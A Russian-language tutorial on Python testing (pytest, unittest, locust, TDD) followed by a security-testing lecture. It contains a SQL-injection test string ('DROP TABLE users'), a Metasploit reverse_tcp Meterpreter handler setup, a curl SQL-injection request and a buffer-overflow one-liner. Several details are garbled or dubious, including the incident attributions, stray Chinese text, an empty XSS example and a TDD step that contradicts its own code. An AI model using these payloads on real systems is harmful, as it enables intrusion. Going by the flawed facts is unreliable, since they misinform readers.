pytest — это популярная библиотека для тестирования в Python, которая предоставляет более простой и гибкий синтаксис по сравнению с unittest.
Функциональное тестирование проверяет, что программа выполняет свои функции в соответствии с требованиями. Оно часто включает тестирование пользовательских сценариев.
Рассмотрим пример функционального тестирования для веб-приложения с использованием pytest и библиотеки requests.
import pytest
import requests
# Функция для получения статус-кода веб-страницы
def get_status_code(url):
response = requests.get(url)
return response.status_code
# Тест для проверки статус-кода
def test_get_status_code():
url = 'https://www.example.com'
status_code = get_status_code(url)
assert status_code == 200, f'Ожидался статус-код 200, но получен {status_code}'
# Запуск тестов
if __name__ == '__main__':
pytest.main()
Комментарии:
- Мы создали функцию get_status_code, которая возвращает статус-код веб-страницы.
- В тесте test_get_status_code мы проверяем, что статус-код равен 200 (успешный запрос).
- Если статус-код не равен 200, тест завершится с ошибкой.
Регрессионное тестирование
Регрессионное тестирование часто проводится с использованием уже существующих тестов. Например, если мы изменили функцию add, мы должны убедиться, что все предыдущие тесты по-прежнему проходят.
import unittest
# Измененная функция add
def add(a, b):
return a + b + 1 # Намеренно добавлена ошибка
# Класс для регрессионного тестирования
class TestAddFunctionRegression(unittest.TestCase):
def test_add_positive_numbers(self):
self.assertEqual(add(2, 3), 5) # Этот тест теперь должен завершиться с ошибкой
# Запуск тестов
if __name__ == '__main__':
unittest.main()
Комментарии:
- Мы намеренно изменили функцию add, чтобы она возвращала неправильный результат.
- Тест test_add_positive_numbers теперь завершится с ошибкой, так как результат функции не соответствует ожидаемому значению.
Нагрузочное тестирование с использованием locust
locust — это инструмент для нагрузочного тестирования, который позволяет моделировать большое количество пользователей, взаимодействующих с вашим приложением.
Нагрузочное тестирование проверяет, как система ведет себя под высокой нагрузкой. Оно помогает выявить узкие места в производительности.
from locust import HttpUser, task, between
# Класс для нагрузочного тестирования
class WebsiteUser(HttpUser):
wait_time = between(1, 5)
@task
def load_homepage(self):
self.client.get('/')
# Запуск тестов: locust -f load_test.py
Комментарии:
- Мы создали класс WebsiteUser, который моделирует пользователя, посещающего веб-сайт.
- Метод load_homepage отправляет GET-запрос на главную страницу сайта.
- locust позволяет запустить множество таких пользователей одновременно, чтобы проверить, как система справляется с нагрузкой.
Тестирование безопасности
Тестирование безопасности может включать проверку на уязвимости, такие как SQL-инъекции или XSS. Рассмотрим пример тестирования на SQL-инъекции.
import unittest
import sqlite3
# Функция, которая выполняет SQL-запрос
def execute_query(query):
conn = sqlite3.connect(':memory:')
cursor = conn.cursor()
cursor.execute(query)
result = cursor.fetchall()
conn.close()
return result
# Класс для тестирования безопасности
class TestSecurity(unittest.TestCase):
def test_sql_injection(self):
malicious_input = "1; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE id = {malicious_input}"
with self.assertRaises(sqlite3.OperationalError):
execute_query(query)
# Запуск тестов
if __name__ == '__main__':
unittest.main()
Комментарии:
- Мы создали функцию execute_query, которая выполняет SQL-запрос.
- В тесте test_sql_injection мы пытаемся выполнить вредоносный SQL-запрос, который должен вызвать ошибку.
- Метод assertRaises проверяет, что выполнение запроса вызывает исключение sqlite3.OperationalError.
Концепция TDD (Test-Driven Development) в Python
Предназначение TDD
TDD (Test-Driven Development) — это методология разработки программного обеспечения, при которой сначала пишутся тесты, а затем код, который эти тесты проверяют. Основная цель TDD — повышение качества кода, упрощение рефакторинга и снижение количества ошибок.
Основные этапы TDD: 1. Написание теста: Создается тест для новой функциональности, который изначально должен провалиться. 2. Написание кода: Пишется минимальный код, необходимый для прохождения теста. 3. Рефакторинг: Код улучшается без изменения его функциональности.
Установка библиотеки для тестирования
Для работы с TDD в Python часто используется библиотека unittest, которая входит в стандартную библиотеку Python. Также можно использовать сторонние библиотеки, такие как pytest.
pip install pytest
Написание первого теста
Создайте файл test_example.py и напишите первый тест.
# test_example.py
import unittest
def add(a, b):
return a + b
class TestMathOperations(unittest.TestCase):
def test_add(self):
self.assertEqual(add(2, 3), 5)
if __name__ == '__main__':
unittest.main()
Запуск теста
Запустите тест с помощью команды:
python -m unittest test_example.py
Тест должен провалиться, так как функция add еще не реализована.
Написание кода
Реализуйте функцию add в том же файле или в отдельном модуле.
# example.py
def add(a, b):
return a + b
Импортируйте функцию в тестовый файл и запустите тест снова.
# test_example.py
from example import add
class TestMathOperations(unittest.TestCase):
def test_add(self):
self.assertEqual(add(2, 3), 5)
if __name__ == '__main__':
unittest.main()
Теперь тест должен пройти успешно.
Рефакторинг (при необходимости)
Если код можно улучшить без изменения его функциональности, проведите рефакторинг и убедитесь, что все тесты по-прежнему проходят.
Альтернативные концепции
- BDD (Behavior-Driven Development):
- Фокусируется на поведении системы с точки зрения пользователя.
- Использует более читаемый формат спецификаций (например, Gherkin).
-
Популярные инструменты:
behave,pytest-bdd. -
ATDD (Acceptance Test-Driven Development):
- Тесты пишутся на основе требований заказчика.
- Акцент на приемочных тестах, которые проверяют соответствие системы ожиданиям пользователя.
-
Часто используется вместе с BDD.
-
Spike and Stabilize:
- Временное отклонение от строгого следования TDD для исследования новых технологий или подходов.
-
После исследования код возвращается к состоянию с покрытием тестами.
-
Prototyping:
- Быстрое создание прототипа для проверки идеи или концепции.
- После подтверждения концепции может быть применен TDD для разработки финального решения.
Практическое тестирование защищенности программного обеспечения
Практическое тестирование защищенности программного обеспечения
Введение
Практическое тестирование защищенности программного обеспечения (Security Testing) - это процесс, направленный на выявление уязвимостей и недостатков в приложении или системе, которые могут быть использованы злоумышленниками для нарушения безопасности. В данной лекции мы рассмотрим различные виды тестирования безопасности, инструменты для их проведения и примеры реальных кейсов.
Типы тестирования безопасности
- Статический анализ: Процесс анализа кода без его выполнения.
- Динамический анализ: Процесс анализа кода во время выполнения.
- Проверка конфигурации: Проверка параметров системы и приложений на соответствие рекомендациям по безопасности.
- Тестирование веб-приложений: Основывается на проверке уязвимостей, специфичных для веб-приложений (OWASP Top 10).
- Тестирование мобильных приложений: Сосредоточен на проверке уязвимостей мобильных приложений.
- Тестирование сетевого трафика: Анализ сетевого трафика с целью выявления аномалий и потенциальных атак.
Инструменты для тестирования безопасности
- OWASP ZAP (Zed Attack Proxy): Открытый инструмент для тестирования веб-приложений, который может автоматически найти некоторые из наиболее распространенных уязвимостей.
- Burp Suite: Коммерческий инструмент для промежуточного analiza и тестирования веб-приложений.
- Nessus: Инструмент для статического анализа сети и системы, который может обнаруживать уязвимости и несоответствия конфигурации.

- Metasploit Framework: Открытый фреймворк для эксплуатации уязвимостей, который также используется для оценки безопасности.
- AppScan: Коммерческий инструмент от IBM для статического анализа кода и динамического анализа приложений.

Примеры использования инструментов
-
OWASP ZAP
```bash
Запуск ZAP
zap.sh
Запуск сканера
zap-scan.py -t http://example.com -m spider -r report.html ```
Пример использования ZAP для автоматического сканирования веб-сайта
http://example.comс последующим сохранением отчета в файлreport.html. -
Nessus
```bash
Запуск Nessus агента
nessusagent --nessusd
--name "My Agent" --register --organization "My Organization" ``` Пример регистрации агента Nessus на сервере.
-
Metasploit Framework
ruby msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <IP_АДРЕС_ВАШЕГО_КОМПЬЮТЕРА> exploitПример использования Metasploit для установки Meterpreter_payload на целевой системе.
Примеры реальных кейсов
- SQL Injection
В 2013 году сайт Adobe была подвергнута атаке SQL Injection, что позволило злоумышленникам получить доступ к базе данных пользовательских данных.
curl 'http://example.com/index.php?id=1' --data "username=admin'-- -"
В данном примере используется SQL Injection атака через параметр id, чтобы изменить запрос к базе данных.
- Cross-Site Scripting (XSS)
В 2014 году сайт eBay был подвержен XSS атаке через JavaScript в iframe элементах страницы.
```
```
Если злоумышленник смог вставить данный код в контент страницы, он мог выполнить произвольный JavaScript код на клиентских броузерах посетителей сайта.
- Buffer Overflow
В 1988 году был обнаружен первый случай Buffer Overflow уязвимости в Unix Sendmail邮件 сервере, что позволило удаленно выполнять команды с правами суперпользователя.
perl -e 'print "A"x500' | mail someuser@somehost'
Данный пример демонстрирует переполнение буфера символами 'A' длиной 500 символов, что могло вызвать переполнение буфера и выполнение произвольного кода.
Литература Unit тестирование Unit тестирование 2 Smoke тестирование